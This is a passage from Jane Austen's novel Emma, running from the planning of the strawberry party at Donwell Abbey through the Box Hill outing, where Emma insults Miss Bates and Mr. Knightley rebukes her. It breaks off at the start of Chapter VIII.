leave all that to me. Only give me a carte-blanche.--I am +Lady Patroness, you know. It is my party. I will bring friends +with me." + +"I hope you will bring Elton," said he: "but I will not trouble +you to give any other invitations." + +"Oh! now you are looking very sly. But consider--you need not be afraid +of delegating power to _me_. I am no young lady on her preferment. +Married women, you know, may be safely authorised. It is my party. +Leave it all to me. I will invite your guests." + +"No,"--he calmly replied,--"there is but one married woman in the world +whom I can ever allow to invite what guests she pleases to Donwell, +and that one is--" + +"--Mrs. Weston, I suppose," interrupted Mrs. Elton, rather mortified. + +"No--Mrs. Knightley;--and till she is in being, I will manage +such matters myself." + +"Ah! you are an odd creature!" she cried, satisfied to have no +one preferred to herself.--"You are a humourist, and may say what +you like. Quite a humourist. Well, I shall bring Jane with me-- +Jane and her aunt.--The rest I leave to you. I have no objections +at all to meeting the Hartfield family. Don't scruple. I know +you are attached to them." + +"You certainly will meet them if I can prevail; and I shall call +on Miss Bates in my way home." + +"That's quite unnecessary; I see Jane every day:--but as you like. +It is to be a morning scheme, you know, Knightley; quite a simple thing. +I shall wear a large bonnet, and bring one of my little baskets +hanging on my arm. Here,--probably this basket with pink ribbon. +Nothing can be more simple, you see. And Jane will have such another. +There is to be no form or parade--a sort of gipsy party. We are +to walk about your gardens, and gather the strawberries ourselves, +and sit under trees;--and whatever else you may like to provide, +it is to be all out of doors--a table spread in the shade, you know. +Every thing as natural and simple as possible. Is not that your idea?" + +"Not quite. My idea of the simple and the natural will be to have +the table spread in the dining-room. The nature and the simplicity +of gentlemen and ladies, with their servants and furniture, I think +is best observed by meals within doors. When you are tired of eating +strawberries in the garden, there shall be cold meat in the house." + +"Well--as you please; only don't have a great set out. And, by the bye, +can I or my housekeeper be of any use to you with our opinion?-- +Pray be sincere, Knightley. If you wish me to talk to Mrs. Hodges, +or to inspect anything--" + +"I have not the least wish for it, I thank you." + +"Well--but if any difficulties should arise, my housekeeper +is extremely clever." + +"I will answer for it, that mine thinks herself full as clever, +and would spurn any body's assistance." + +"I wish we had a donkey. The thing would be for us all to come +on donkeys, Jane, Miss Bates, and me--and my caro sposo walking by. +I really must talk to him about purchasing a donkey. In a country +life I conceive it to be a sort of necessary; for, let a woman have +ever so many resources, it is not possible for her to be always shut +up at home;--and very long walks, you know--in summer there is dust, +and in winter there is dirt." + +"You will not find either, between Donwell and Highbury. +Donwell Lane is never dusty, and now it is perfectly dry. Come on +a donkey, however, if you prefer it. You can borrow Mrs. Cole's. +I would wish every thing to be as much to your taste as possible." + +"That I am sure you would. Indeed I do you justice, my good friend. +Under that peculiar sort of dry, blunt manner, I know you have the +warmest heart. As I tell Mr. E., you are a thorough humourist.-- +Yes, believe me, Knightley, I am fully sensible of your attention +to me in the whole of this scheme. You have hit upon the very thing +to please me." + +Mr. Knightley had another reason for avoiding a table in the shade. +He wished to persuade Mr. Woodhouse, as well as Emma, to join the party; +and he knew that to have any of them sitting down out of doors +to eat would inevitably make him ill. Mr. Woodhouse must not, +under the specious pretence of a morning drive, and an hour or two +spent at Donwell, be tempted away to his misery. + +He was invited on good faith. No lurking horrors were to upbraid +him for his easy credulity. He did consent. He had not been +at Donwell for two years. "Some very fine morning, he, and Emma, +and Harriet, could go very well; and he could sit still with +Mrs. Weston, while the dear girls walked about the gardens. +He did not suppose they could be damp now, in the middle of +the day. He should like to see the old house again exceedingly, +and should be very happy to meet Mr. and Mrs. Elton, and any other +of his neighbours.--He could not see any objection at all to his, +and Emma's, and Harriet's going there some very fine morning. +He thought it very well done of Mr. Knightley to invite them-- +very kind and sensible--much cleverer than dining out.--He was not +fond of dining out." + +Mr. Knightley was fortunate in every body's most ready concurrence. +The invitation was everywhere so well received, that it seemed as if, +like Mrs. Elton, they were all taking the scheme as a particular +compliment to themselves.--Emma and Harriet professed very high +expectations of pleasure from it; and Mr. Weston, unasked, +promised to get Frank over to join them, if possible; a proof +of approbation and gratitude which could have been dispensed with.-- +Mr. Knightley was then obliged to say that he should be glad +to see him; and Mr. Weston engaged to lose no time in writing, +and spare no arguments to induce him to come. + +In the meanwhile the lame horse recovered so fast, that the party +to Box Hill was again under happy consideration; and at last Donwell +was settled for one day, and Box Hill for the next,--the weather +appearing exactly right. + +Under a bright mid-day sun, at almost Midsummer, Mr. Woodhouse +was safely conveyed in his carriage, with one window down, +to partake of this al-fresco party; and in one of the most +comfortable rooms in the Abbey, especially prepared for him by a +fire all the morning, he was happily placed, quite at his ease, +ready to talk with pleasure of what had been achieved, and advise +every body to come and sit down, and not to heat themselves.-- +Mrs. Weston, who seemed to have walked there on purpose to be tired, +and sit all the time with him, remained, when all the others +were invited or persuaded out, his patient listener and sympathiser. + +It was so long since Emma had been at the Abbey, that as soon as she +was satisfied of her father's comfort, she was glad to leave him, +and look around her; eager to refresh and correct her memory with +more particular observation, more exact understanding of a house +and grounds which must ever be so interesting to her and all her family. + +She felt all the honest pride and complacency which her alliance +with the present and future proprietor could fairly warrant, +as she viewed the respectable size and style of the building, +its suitable, becoming, characteristic situation, low and sheltered-- +its ample gardens stretching down to meadows washed by a stream, +of which the Abbey, with all the old neglect of prospect, +had scarcely a sight--and its abundance of timber in rows and avenues, +which neither fashion nor extravagance had rooted up.--The house +was larger than Hartfield, and totally unlike it, covering a good +deal of ground, rambling and irregular, with many comfortable, +and one or two handsome rooms.--It was just what it ought to be, +and it looked what it was--and Emma felt an increasing respect +for it, as the residence of a family of such true gentility, +untainted in blood and understanding.--Some faults of temper John +Knightley had; but Isabella had connected herself unexceptionably. +She had given them neither men, nor names, nor places, that could +raise a blush. These were pleasant feelings, and she walked about +and indulged them till it was necessary to do as the others did, +and collect round the strawberry-beds.--The whole party were assembled, +excepting Frank Churchill, who was expected every moment from Richmond; +and Mrs. Elton, in all her apparatus of happiness, her large bonnet +and her basket, was very ready to lead the way in gathering, +accepting, or talking--strawberries, and only strawberries, +could now be thought or spoken of.--"The best fruit in England-- +every body's favourite--always wholesome.--These the finest beds +and finest sorts.--Delightful to gather for one's self--the only way +of really enjoying them.--Morning decidedly the best time--never tired-- +every sort good--hautboy infinitely superior--no comparison-- +the others hardly eatable--hautboys very scarce--Chili preferred-- +white wood finest flavour of all--price of strawberries in London-- +abundance about Bristol--Maple Grove--cultivation--beds when to +be renewed--gardeners thinking exactly different--no general rule-- +gardeners never to be put out of their way--delicious fruit-- +only too rich to be eaten much of--inferior to cherries-- +currants more refreshing--only objection to gathering strawberries +the stooping--glaring sun--tired to death--could bear it no longer-- +must go and sit in the shade." + +Such, for half an hour, was the conversation--interrupted only +once by Mrs. Weston, who came out, in her solicitude after her +son-in-law, to inquire if he were come--and she was a little uneasy.-- +She had some fears of his horse. + +Seats tolerably in the shade were found; and now Emma was obliged +to overhear what Mrs. Elton and Jane Fairfax were talking of.-- +A situation, a most desirable situation, was in question. Mrs. Elton +had received notice of it that morning, and was in raptures. +It was not with Mrs. Suckling, it was not with Mrs. Bragge, +but in felicity and splendour it fell short only of them: it was +with a cousin of Mrs. Bragge, an acquaintance of Mrs. Suckling, +a lady known at Maple Grove. Delightful, charming, superior, +first circles, spheres, lines, ranks, every thing--and Mrs. Elton +was wild to have the offer closed with immediately.--On her side, +all was warmth, energy, and triumph--and she positively refused +to take her friend's negative, though Miss Fairfax continued +to assure her that she would not at present engage in any thing, +repeating the same motives which she had been heard to urge before.-- +Still Mrs. Elton insisted on being authorised to write an acquiescence +by the morrow's post.--How Jane could bear it at all, was astonishing +to Emma.--She did look vexed, she did speak pointedly--and at last, +with a decision of action unusual to her, proposed a removal.-- +"Should not they walk? Would not Mr. Knightley shew them the gardens-- +all the gardens?--She wished to see the whole extent."--The pertinacity +of her friend seemed more than she could bear. + +It was hot; and after walking some time over the gardens in a scattered, +dispersed way, scarcely any three together, they insensibly +followed one another to the delicious shade of a broad short +avenue of limes, which stretching beyond the garden at an equal +distance from the river, seemed the finish of the pleasure grounds.-- +It led to nothing; nothing but a view at the end over a low stone +wall with high pillars, which seemed intended, in their erection, +to give the appearance of an approach to the house, which never had +been there. Disputable, however, as might be the taste of such +a termination, it was in itself a charming walk, and the view +which closed it extremely pretty.--The considerable slope, at nearly +the foot of which the Abbey stood, gradually acquired a steeper +form beyond its grounds; and at half a mile distant was a bank +of considerable abruptness and grandeur, well clothed with wood;-- +and at the bottom of this bank, favourably placed and sheltered, +rose the Abbey Mill Farm, with meadows in front, and the river +making a close and handsome curve around it. + +It was a sweet view--sweet to the eye and the mind. English verdure, +English culture, English comfort, seen under a sun bright, +without being oppressive. + +In this walk Emma and Mr. Weston found all the others assembled; +and towards this view she immediately perceived Mr. Knightley +and Harriet distinct from the rest, quietly leading the way. +Mr. Knightley and Harriet!--It was an odd tete-a-tete; but she was +glad to see it.--There had been a time when he would have scorned +her as a companion, and turned from her with little ceremony. +Now they seemed in pleasant conversation. There had been a time +also when Emma would have been sorry to see Harriet in a spot +so favourable for the Abbey Mill Farm; but now she feared it not. +It might be safely viewed with all its appendages of prosperity +and beauty, its rich pastures, spreading flocks, orchard in blossom, +and light column of smoke ascending.--She joined them at the wall, +and found them more engaged in talking than in looking around. +He was giving Harriet information as to modes of agriculture, etc. +and Emma received a smile which seemed to say, "These are my +own concerns. I have a right to talk on such subjects, without being +suspected of introducing Robert Martin."--She did not suspect him. +It was too old a story.--Robert Martin had probably ceased to think +of Harriet.--They took a few turns together along the walk.--The shade +was most refreshing, and Emma found it the pleasantest part of +the day. + +The next remove was to the house; they must all go in and eat;-- +and they were all seated and busy, and still Frank Churchill did +not come. Mrs. Weston looked, and looked in vain. His father would +not own himself uneasy, and laughed at her fears; but she could +not be cured of wishing that he would part with his black mare. +He had expressed himself as to coming, with more than common certainty. +"His aunt was so much better, that he had not a doubt of getting +over to them."--Mrs. Churchill's state, however, as many were ready +to remind her, was liable to such sudden variation as might disappoint +her nephew in the most reasonable dependence--and Mrs. Weston +was at last persuaded to believe, or to say, that it must be +by some attack of Mrs. Churchill that he was prevented coming.-- +Emma looked at Harriet while the point was under consideration; +she behaved very well, and betrayed no emotion. + +The cold repast was over, and the party were to go out once more +to see what had not yet been seen, the old Abbey fish-ponds; +perhaps get as far as the clover, which was to be begun cutting +on the morrow, or, at any rate, have the pleasure of being hot, +and growing cool again.--Mr. Woodhouse, who had already taken +his little round in the highest part of the gardens, where no +damps from the river were imagined even by him, stirred no more; +and his daughter resolved to remain with him, that Mrs. Weston +might be persuaded away by her husband to the exercise and variety +which her spirits seemed to need. + +Mr. Knightley had done all in his power for Mr. Woodhouse's +entertainment. Books of engravings, drawers of medals, cameos, +corals, shells, and every other family collection within his cabinets, +had been prepared for his old friend, to while away the morning; +and the kindness had perfectly answered. Mr. Woodhouse had been +exceedingly well amused. Mrs. Weston had been shewing them all to him, +and now he would shew them all to Emma;--fortunate in having no other +resemblance to a child, than in a total want of taste for what he saw, +for he was slow, constant, and methodical.--Before this second looking +over was begun, however, Emma walked into the hall for the sake +of a few moments' free observation of the entrance and ground-plot +of the house--and was hardly there, when Jane Fairfax appeared, +coming quickly in from the garden, and with a look of escape.-- +Little expecting to meet Miss Woodhouse so soon, there was a start +at first; but Miss Woodhouse was the very person she was in quest of. + +"Will you be so kind," said she, "when I am missed, as to say +that I am gone home?--I am going this moment.--My aunt is not aware +how late it is, nor how long we have been absent--but I am sure we +shall be wanted, and I am determined to go directly.--I have said +nothing about it to any body. It would only be giving trouble +and distress. Some are gone to the ponds, and some to the lime walk. +Till they all come in I shall not be missed; and when they do, +will you have the goodness to say that I am gone?" + +"Certainly, if you wish it;--but you are not going to walk +to Highbury alone?" + +"Yes--what should hurt me?--I walk fast. I shall be at home +in twenty minutes." + +"But it is too far, indeed it is, to be walking quite alone. +Let my father's servant go with you.--Let me order the carriage. +It can be round in five minutes." + +"Thank you, thank you--but on no account.--I would rather walk.-- +And for _me_ to be afraid of walking alone!--I, who may so soon have +to guard others!" + +She spoke with great agitation; and Emma very feelingly replied, +"That can be no reason for your being exposed to danger now. +I must order the carriage. The heat even would be danger.--You are +fatigued already." + +"I am,"--she answered--"I am fatigued; but it is not the sort +of fatigue--quick walking will refresh me.--Miss Woodhouse, we all +know at times what it is to be wearied in spirits. Mine, I confess, +are exhausted. The greatest kindness you can shew me, will be to let +me have my own way, and only say that I am gone when it is necessary." + +Emma had not another word to oppose. She saw it all; and entering +into her feelings, promoted her quitting the house immediately, +and watched her safely off with the zeal of a friend. Her parting +look was grateful--and her parting words, "Oh! Miss Woodhouse, +the comfort of being sometimes alone!"--seemed to burst from +an overcharged heart, and to describe somewhat of the continual +endurance to be practised by her, even towards some of those who +loved her best. + +"Such a home, indeed! such an aunt!" said Emma, as she turned back +into the hall again. "I do pity you. And the more sensibility +you betray of their just horrors, the more I shall like you." + +Jane had not been gone a quarter of an hour, and they had only +accomplished some views of St. Mark's Place, Venice, when Frank +Churchill entered the room. Emma had not been thinking of him, +she had forgotten to think of him--but she was very glad to see him. +Mrs. Weston would be at ease. The black mare was blameless; +_they_ were right who had named Mrs. Churchill as the cause. +He had been detained by a temporary increase of illness in her; +a nervous seizure, which had lasted some hours--and he had quite given +up every thought of coming, till very late;--and had he known how hot +a ride he should have, and how late, with all his hurry, he must be, +he believed he should not have come at all. The heat was excessive; +he had never suffered any thing like it--almost wished he had staid +at home--nothing killed him like heat--he could bear any degree of cold, +etc., but heat was intolerable--and he sat down, at the greatest +possible distance from the slight remains of Mr. Woodhouse's fire, +looking very deplorable. + +"You will soon be cooler, if you sit still," said Emma. + +"As soon as I am cooler I shall go back again. I could very +ill be spared--but such a point had been made of my coming! +You will all be going soon I suppose; the whole party breaking up. +I met _one_ as I came--Madness in such weather!--absolute madness!" + +Emma listened, and looked, and soon perceived that Frank Churchill's +state might be best defined by the expressive phrase of being +out of humour. Some people were always cross when they were hot. +Such might be his constitution; and as she knew that eating +and drinking were often the cure of such incidental complaints, +she recommended his taking some refreshment; he would find abundance +of every thing in the dining-room--and she humanely pointed out +the door. + +"No--he should not eat. He was not hungry; it would only make +him hotter." In two minutes, however, he relented in his own favour; +and muttering something about spruce-beer, walked off. Emma returned +all her attention to her father, saying in secret-- + +"I am glad I have done being in love with him. I should not like a +man who is so soon discomposed by a hot morning. Harriet's sweet +easy temper will not mind it." + +He was gone long enough to have had a very comfortable meal, and came +back all the better--grown quite cool--and, with good manners, +like himself--able to draw a chair close to them, take an interest +in their employment; and regret, in a reasonable way, that he +should be so late. He was not in his best spirits, but seemed +trying to improve them; and, at last, made himself talk nonsense +very agreeably. They were looking over views in Swisserland. + +"As soon as my aunt gets well, I shall go abroad," said he. +"I shall never be easy till I have seen some of these places. +You will have my sketches, some time or other, to look at--or my tour +to read--or my poem. I shall do something to expose myself." + +"That may be--but not by sketches in Swisserland. You will +never go to Swisserland. Your uncle and aunt will never allow +you to leave England." + +"They may be induced to go too. A warm climate may be prescribed +for her. I have more than half an expectation of our all going abroad. +I assure you I have. I feel a strong persuasion, this morning, +that I shall soon be abroad. I ought to travel. I am tired +of doing nothing. I want a change. I am serious, Miss Woodhouse, +whatever your penetrating eyes may fancy--I am sick of England-- +and would leave it to-morrow, if I could." + +"You are sick of prosperity and indulgence. Cannot you invent +a few hardships for yourself, and be contented to stay?" + +"_I_ sick of prosperity and indulgence! You are quite mistaken. +I do not look upon myself as either prosperous or indulged. I am +thwarted in every thing material. I do not consider myself at all +a fortunate person." + +"You are not quite so miserable, though, as when you first came. +Go and eat and drink a little more, and you will do very well. +Another slice of cold meat, another draught of Madeira and water, +will make you nearly on a par with the rest of us." + +"No--I shall not stir. I shall sit by you. You are my best cure." + +"We are going to Box Hill to-morrow;--you will join us. +It is not Swisserland, but it will be something for a young +man so much in want of a change. You will stay, and go with us?" + +"No, certainly not; I shall go home in the cool of the evening." + +"But you may come again in the cool of to-morrow morning." + +"No--It will not be worth while. If I come, I shall be cross." + +"Then pray stay at Richmond." + +"But if I do, I shall be crosser still. I can never bear to think +of you all there without me." + +"These are difficulties which you must settle for yourself. +Chuse your own degree of crossness. I shall press you no more." + +The rest of the party were now returning, and all were soon collected. +With some there was great joy at the sight of Frank Churchill; +others took it very composedly; but there was a very general distress +and disturbance on Miss Fairfax's disappearance being explained. +That it was time for every body to go, concluded the subject; and with +a short final arrangement for the next day's scheme, they parted. +Frank Churchill's little inclination to exclude himself increased +so much, that his last words to Emma were, + +"Well;--if _you_ wish me to stay and join the party, I will." + +She smiled her acceptance; and nothing less than a summons from +Richmond was to take him back before the following evening. + + + +CHAPTER VII + + +They had a very fine day for Box Hill; and all the other outward +circumstances of arrangement, accommodation, and punctuality, +were in favour of a pleasant party. Mr. Weston directed the whole, +officiating safely between Hartfield and the Vicarage, and every +body was in good time. Emma and Harriet went together; Miss Bates +and her niece, with the Eltons; the gentlemen on horseback. +Mrs. Weston remained with Mr. Woodhouse. Nothing was wanting +but to be happy when they got there. Seven miles were travelled +in expectation of enjoyment, and every body had a burst of admiration +on first arriving; but in the general amount of the day there +was deficiency. There was a languor, a want of spirits, a want of union, +which could not be got over. They separated too much into parties. +The Eltons walked together; Mr. Knightley took charge of Miss +Bates and Jane; and Emma and Harriet belonged to Frank Churchill. +And Mr. Weston tried, in vain, to make them harmonise better. It seemed +at first an accidental division, but it never materially varied. +Mr. and Mrs. Elton, indeed, shewed no unwillingness to mix, +and be as agreeable as they could; but during the two whole hours +that were spent on the hill, there seemed a principle of separation, +between the other parties, too strong for any fine prospects, or any +cold collation, or any cheerful Mr. Weston, to remove. + +At first it was downright dulness to Emma. She had never seen Frank +Churchill so silent and stupid. He said nothing worth hearing-- +looked without seeing--admired without intelligence--listened without +knowing what she said. While he was so dull, it was no wonder that +Harriet should be dull likewise; and they were both insufferable. + +When they all sat down it was better; to her taste a great deal better, +for Frank Churchill grew talkative and gay, making her his first object. +Every distinguishing attention that could be paid, was paid to her. +To amuse her, and be agreeable in her eyes, seemed all that he +cared for--and Emma, glad to be enlivened, not sorry to be flattered, +was gay and easy too, and gave him all the friendly encouragement, +the admission to be gallant, which she had ever given in the first +and most animating period of their acquaintance; but which now, +in her own estimation, meant nothing, though in the judgment of most +people looking on it must have had such an appearance as no English +word but flirtation could very well describe. "Mr. Frank Churchill +and Miss Woodhouse flirted together excessively." They were laying +themselves open to that very phrase--and to having it sent off +in a letter to Maple Grove by one lady, to Ireland by another. +Not that Emma was gay and thoughtless from any real felicity; +it was rather because she felt less happy than she had expected. +She laughed because she was disappointed; and though she liked him +for his attentions, and thought them all, whether in friendship, +admiration, or playfulness, extremely judicious, they were not winning +back her heart. She still intended him for her friend. + +"How much I am obliged to you," said he, "for telling me to come to-day!-- +If it had not been for you, I should certainly have lost all the +happiness of this party. I had quite determined to go away again." + +"Yes, you were very cross; and I do not know what about, +except that you were too late for the best strawberries. +I was a kinder friend than you deserved. But you were humble. +You begged hard to be commanded to come." + +"Don't say I was cross. I was fatigued. The heat overcame me." + +"It is hotter to-day." + +"Not to my feelings. I am perfectly comfortable to-day." + +"You are comfortable because you are under command." + +"Your command?--Yes." + +"Perhaps I intended you to say so, but I meant self-command. You had, +somehow or other, broken bounds yesterday, and run away from your +own management; but to-day you are got back again--and as I cannot +be always with you, it is best to believe your temper under your +own command rather than mine." + +"It comes to the same thing. I can have no self-command without +a motive. You order me, whether you speak or not. And you can +be always with me. You are always with me." + +"Dating from three o'clock yesterday. My perpetual influence +could not begin earlier, or you would not have been so much +out of humour before." + +"Three o'clock yesterday! That is your date. I thought I had seen +you first in February." + +"Your gallantry is really unanswerable. But (lowering her voice)-- +nobody speaks except ourselves, and it is rather too much to be +talking nonsense for the entertainment of seven silent people." + +"I say nothing of which I am ashamed," replied he, with lively impudence. +"I saw you first in February. Let every body on the Hill hear me if +they can. Let my accents swell to Mickleham on one side, and Dorking +on the other. I saw you first in February." And then whispering-- +"Our companions are excessively stupid. What shall we do to rouse them? +Any nonsense will serve. They _shall_ talk. Ladies and gentlemen, +I am ordered by Miss Woodhouse (who, wherever she is, presides) +to say, that she desires to know what you are all thinking of?" + +Some laughed, and answered good-humouredly. Miss Bates said a great deal; +Mrs. Elton swelled at the idea of Miss Woodhouse's presiding; +Mr. Knightley's answer was the most distinct. + +"Is Miss Woodhouse sure that she would like to hear what we are +all thinking of?" + +"Oh! no, no"--cried Emma, laughing as carelessly as she could-- +"Upon no account in the world. It is the very last thing I +would stand the brunt of just now. Let me hear any thing rather +than what you are all thinking of. I will not say quite all. +There are one or two, perhaps, (glancing at Mr. Weston and Harriet,) +whose thoughts I might not be afraid of knowing." + +"It is a sort of thing," cried Mrs. Elton emphatically, +"which _I_ should not have thought myself privileged to +inquire into. Though, perhaps, as the _Chaperon_ of the party-- +_I_ never was in any circle--exploring parties--young ladies--married women--" + +Her mutterings were chiefly to her husband; and he murmured, +in reply, + +"Very true, my love, very true. Exactly so, indeed--quite unheard of-- +but some ladies say any thing. Better pass it off as a joke. +Every body knows what is due to _you_." + +"It will not do," whispered Frank to Emma; "they are most +of them affronted. I will attack them with more address. +Ladies and gentlemen--I am ordered by Miss Woodhouse to say, that she +waives her right of knowing exactly what you may all be thinking of, +and only requires something very entertaining from each of you, +in a general way. Here are seven of you, besides myself, (who, she +is pleased to say, am very entertaining already,) and she only +demands from each of you either one thing very clever, be it prose +or verse, original or repeated--or two things moderately clever-- +or three things very dull indeed, and she engages to laugh heartily +at them all." + +"Oh! very well," exclaimed Miss Bates, "then I need not be uneasy. +`Three things very dull indeed.' That will just do for me, you know. +I shall be sure to say three dull things as soon as ever I open +my mouth, shan't I? (looking round with the most good-humoured +dependence on every body's assent)--Do not you all think I shall?" + +Emma could not resist. + +"Ah! ma'am, but there may be a difficulty. Pardon me--but you +will be limited as to number--only three at once." + +Miss Bates, deceived by the mock ceremony of her manner, did not +immediately catch her meaning; but, when it burst on her, it could +not anger, though a slight blush shewed that it could pain her. + +"Ah!--well--to be sure. Yes, I see what she means, (turning to +Mr. Knightley,) and I will try to hold my tongue. I must make +myself very disagreeable, or she would not have said such a thing +to an old friend." + +"I like your plan," cried Mr. Weston. "Agreed, agreed. I will do +my best. I am making a conundrum. How will a conundrum reckon?" + +"Low, I am afraid, sir, very low," answered his son;--"but we shall +be indulgent--especially to any one who leads the way." + +"No, no," said Emma, "it will not reckon low. A conundrum of +Mr. Weston's shall clear him and his next neighbour. Come, sir, +pray let me hear it." + +"I doubt its being very clever myself," said Mr. Weston. +"It is too much a matter of fact, but here it is.--What two letters +of the alphabet are there, that express perfection?" + +"What two letters!--express perfection! I am sure I do not know." + +"Ah! you will never guess. You, (to Emma), I am certain, will +never guess.--I will tell you.--M. and A.--Em-ma.--Do you understand?" + +Understanding and gratification came together. It might be a very +indifferent piece of wit, but Emma found a great deal to laugh +at and enjoy in it--and so did Frank and Harriet.--It did not seem +to touch the rest of the party equally; some looked very stupid +about it, and Mr. Knightley gravely said, + +"This explains the sort of clever thing that is wanted, and Mr. Weston +has done very well for himself; but he must have knocked up every +body else. _Perfection_ should not have come quite so soon." + +"Oh! for myself, I protest I must be excused," said Mrs. Elton; +"_I_ really cannot attempt--I am not at all fond of the sort of thing. +I had an acrostic once sent to me upon my own name, which I was not +at all pleased with. I knew who it came from. An abominable puppy!-- +You know who I mean (nodding to her husband). These kind of things +are very well at Christmas, when one is sitting round the fire; +but quite out of place, in my opinion, when one is exploring +about the country in summer. Miss Woodhouse must excuse me. +I am not one of those who have witty things at every body's service. +I do not pretend to be a wit. I have a great deal of vivacity +in my own way, but I really must be allowed to judge when to speak +and when to hold my tongue. Pass us, if you please, Mr. Churchill. +Pass Mr. E., Knightley, Jane, and myself. We have nothing clever to say-- +not one of us. + +"Yes, yes, pray pass _me_," added her husband, with a sort of +sneering consciousness; "_I_ have nothing to say that can entertain +Miss Woodhouse, or any other young lady. An old married man-- +quite good for nothing. Shall we walk, Augusta?" + +"With all my heart. I am really tired of exploring so long +on one spot. Come, Jane, take my other arm." + +Jane declined it, however, and the husband and wife walked off. +"Happy couple!" said Frank Churchill, as soon as they were out +of hearing:--"How well they suit one another!--Very lucky--marrying as +they did, upon an acquaintance formed only in a public place!--They only +knew each other, I think, a few weeks in Bath! Peculiarly lucky!-- +for as to any real knowledge of a person's disposition that Bath, +or any public place, can give--it is all nothing; there can be +no knowledge. It is only by seeing women in their own homes, +among their own set, just as they always are, that you can form +any just judgment. Short of that, it is all guess and luck-- +and will generally be ill-luck. How many a man has committed himself +on a short acquaintance, and rued it all the rest of his life!" + +Miss Fairfax, who had seldom spoken before, except among her +own confederates, spoke now. + +"Such things do occur, undoubtedly."--She was stopped by a cough. +Frank Churchill turned towards her to listen. + +"You were speaking," said he, gravely. She recovered her voice. + +"I was only going to observe, that though such unfortunate circumstances +do sometimes occur both to men and women, I cannot imagine them +to be very frequent. A hasty and imprudent attachment may arise-- +but there is generally time to recover from it afterwards. I would +be understood to mean, that it can be only weak, irresolute characters, +(whose happiness must be always at the mercy of chance,) +who will suffer an unfortunate acquaintance to be an inconvenience, +an oppression for ever." + +He made no answer; merely looked, and bowed in submission; and soon +afterwards said, in a lively tone, + +"Well, I have so little confidence in my own judgment, that whenever +I marry, I hope some body will chuse my wife for me. Will you? +(turning to Emma.) Will you chuse a wife for me?--I am sure I +should like any body fixed on by you. You provide for the family, +you know, (with a smile at his father). Find some body for me. +I am in no hurry. Adopt her, educate her." + +"And make her like myself." + +"By all means, if you can." + +"Very well. I undertake the commission. You shall have a charming wife." + +"She must be very lively, and have hazle eyes. I care for nothing else. +I shall go abroad for a couple of years--and when I return, +I shall come to you for my wife. Remember." + +Emma was in no danger of forgetting. It was a commission to touch every +favourite feeling. Would not Harriet be the very creature described? +Hazle eyes excepted, two years more might make her all that he wished. +He might even have Harriet in his thoughts at the moment; +who could say? Referring the education to her seemed to imply it. + +"Now, ma'am," said Jane to her aunt, "shall we join Mrs. Elton?" + +"If you please, my dear. With all my heart. I am quite ready. +I was ready to have gone with her, but this will do just as well. +We shall soon overtake her. There she is--no, that's somebody else. +That's one of the ladies in the Irish car party, not at all like her.-- +Well, I declare--" + +They walked off, followed in half a minute by Mr. Knightley. +Mr. Weston, his son, Emma, and Harriet, only remained; and the young +man's spirits now rose to a pitch almost unpleasant. Even Emma grew +tired at last of flattery and merriment, and wished herself rather +walking quietly about with any of the others, or sitting almost alone, +and quite unattended to, in tranquil observation of the beautiful +views beneath her. The appearance of the servants looking out +for them to give notice of the carriages was a joyful sight; +and even the bustle of collecting and preparing to depart, +and the solicitude of Mrs. Elton to have _her_ carriage first, +were gladly endured, in the prospect of the quiet drive home which was +to close the very questionable enjoyments of this day of pleasure. +Such another scheme, composed of so many ill-assorted people, +she hoped never to be betrayed into again. + +While waiting for the carriage, she found Mr. Knightley by her side. +He looked around, as if to see that no one were near, and then said, + +"Emma, I must once more speak to you as I have been used to do: +a privilege rather endured than allowed, perhaps, but I must still +use it. I cannot see you acting wrong, without a remonstrance. +How could you be so unfeeling to Miss Bates? How could you be so +insolent in your wit to a woman of her character, age, and situation?-- +Emma, I had not thought it possible." + +Emma recollected, blushed, was sorry, but tried to laugh it off. + +"Nay, how could I help saying what I did?--Nobody could have helped it. +It was not so very bad. I dare say she did not understand me." + +"I assure you she did. She felt your full meaning. She has talked +of it since. I wish you could have heard how she talked of it-- +with what candour and generosity. I wish you could have heard her +honouring your forbearance, in being able to pay her such attentions, +as she was for ever receiving from yourself and your father, +when her society must be so irksome." + +"Oh!" cried Emma, "I know there is not a better creature in the world: +but you must allow, that what is good and what is ridiculous are +most unfortunately blended in her." + +"They are blended," said he, "I acknowledge; and, were she prosperous, +I could allow much for the occasional prevalence of the ridiculous +over the good. Were she a woman of fortune, I would leave every +harmless absurdity to take its chance, I would not quarrel with you +for any liberties of manner. Were she your equal in situation-- +but, Emma, consider how far this is from being the case. She is poor; +she has sunk from the comforts she was born to; and, if she live +to old age, must probably sink more. Her situation should secure +your compassion. It was badly done, indeed! You, whom she had known +from an infant, whom she had seen grow up from a period when her +notice was an honour, to have you now, in thoughtless spirits, +and the pride of the moment, laugh at her, humble her--and before +her niece, too--and before others, many of whom (certainly _some_,) +would be entirely guided by _your_ treatment of her.--This is not +pleasant to you, Emma--and it is very far from pleasant to me; +but I must, I will,--I will tell you truths while I can; +satisfied with proving myself your friend by very faithful counsel, +and trusting that you will some time or other do me greater justice +than you can do now." + +While they talked, they were advancing towards the carriage; +it was ready; and, before she could speak again, he had handed her in. +He had misinterpreted the feelings which had kept her face averted, +and her tongue motionless. They were combined only of anger +against herself, mortification, and deep concern. She had not +been able to speak; and, on entering the carriage, sunk back +for a moment overcome--then reproaching herself for having taken +no leave, making no acknowledgment, parting in apparent sullenness, +she looked out with voice and hand eager to shew a difference; +but it was just too late. He had turned away, and the horses were +in motion. She continued to look back, but in vain; and soon, +with what appeared unusual speed, they were half way down the hill, +and every thing left far behind. She was vexed beyond what could +have been expressed--almost beyond what she could conceal. +Never had she felt so agitated, mortified, grieved, at any circumstance +in her life. She was most forcibly struck. The truth of this +representation there was no denying. She felt it at her heart. +How could she have been so brutal, so cruel to Miss Bates! How could +she have exposed herself to such ill opinion in any one she valued! +And how suffer him to leave her without saying one word of gratitude, +of concurrence, of common kindness! + +Time did not compose her. As she reflected more, she seemed +but to feel it more. She never had been so depressed. Happily it +was not necessary to speak. There was only Harriet, who seemed not +in spirits herself, fagged, and very willing to be silent; and Emma +felt the tears running down her cheeks almost all the way home, +without being at any trouble to check them, extraordinary as they were. + + + +CHAPTER VIII + + +The wretchedness of a scheme to Box Hill was in Emma's thoughts all +the evening. How it might be considered by the rest of the party, +she could not tell. They, in their different homes, and their different +ways, might be looking back on it with pleasure; but in her view it +was a morning more completely misspent, more totally bare of rational +satisfaction at the time, and more to be abhorred in recollection, +than any she had ever passed. A whole evening of back-gammon with +her father, was felicity to it. _There_, indeed, lay real pleasure, +for there she was giving up the sweetest hours of the twenty-four +to his comfort; and feeling that, unmerited as might be the degree +of his 